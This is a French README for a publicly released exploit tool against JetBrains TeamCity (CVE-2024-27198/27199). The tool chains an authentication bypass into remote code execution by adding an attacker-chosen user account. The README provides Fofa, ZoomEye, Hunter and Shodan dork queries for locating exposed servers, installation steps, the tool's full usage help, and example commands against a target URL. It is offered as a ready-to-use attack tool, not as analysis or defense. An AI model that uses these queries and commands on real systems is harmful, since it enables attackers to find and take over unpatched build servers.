
Exploit pour le contournement d'authentification JetBrains TeamCity (CVE-2024-27198/27199) permettant l'exécution de code à distance. Inclut des requêtes dork pour la découverte d'actifs via Fofa, ZoomEye, Hunter et Shodan.
app="JET_BRAINS-TeamCity"
app:"JetBrains TeamCity"
product.name="TeamCity"
http.component:"teamcity"
J'utilise Python3.9.
pip install requests urllib3
python CVE-2024-27198-RCE.py -h
_____ ____ _ _ ____ ____ _____
|_ _|__ __ _ _ __ ___ / ___(_) |_ _ _ | _ \ / ___| ____|
| |/ _ \/ _` | '_ ` _ \| | | | __| | | | | |_) | | | _|
| | __/ (_| | | | | | | |___| | |_| |_| | | _ <| |___| |___
|_|\___|\__,_|_| |_| |_|\____|_|\__|\__, | |_| \_\\____|_____|
|___/
Auteur : @W01fh4cker
Github : https://github.com/W01fh4cker
usage: CVE-2024-27198-RCE.py [-h] [-u USERNAME] [-p PASSWORD] -t TARGET [-d DOMAIN] [--proxy PROXY]
CVE-2024-27198 & CVE-2024-27199 Contournement d'authentification --> RCE dans JetBrains TeamCity avant 2023.11.4
options:
-h, --help affiche ce message d'aide et quitte
-u USERNAME, --username USERNAME
nom d'utilisateur à ajouter. Si laissé vide, sera généré aléatoirement.
-p PASSWORD, --password PASSWORD
mot de passe à ajouter. Si laissé vide, sera généré aléatoirement.
-t TARGET, --target TARGET
url cible
-d DOMAIN, --domain DOMAIN
le nom de domaine de l'adresse e-mail
--proxy PROXY ex : http://127.0.0.1:8080
Par exemple :
python CVE-2024-27198-RCE.py -t http://dev.w01fh4cker.local

autre :
python CVE-2024-27198-RCE.py -t http://dev.w01fh4cker.local -u test -p test@123 -d poc.com --proxy http://127.0.0.1:8080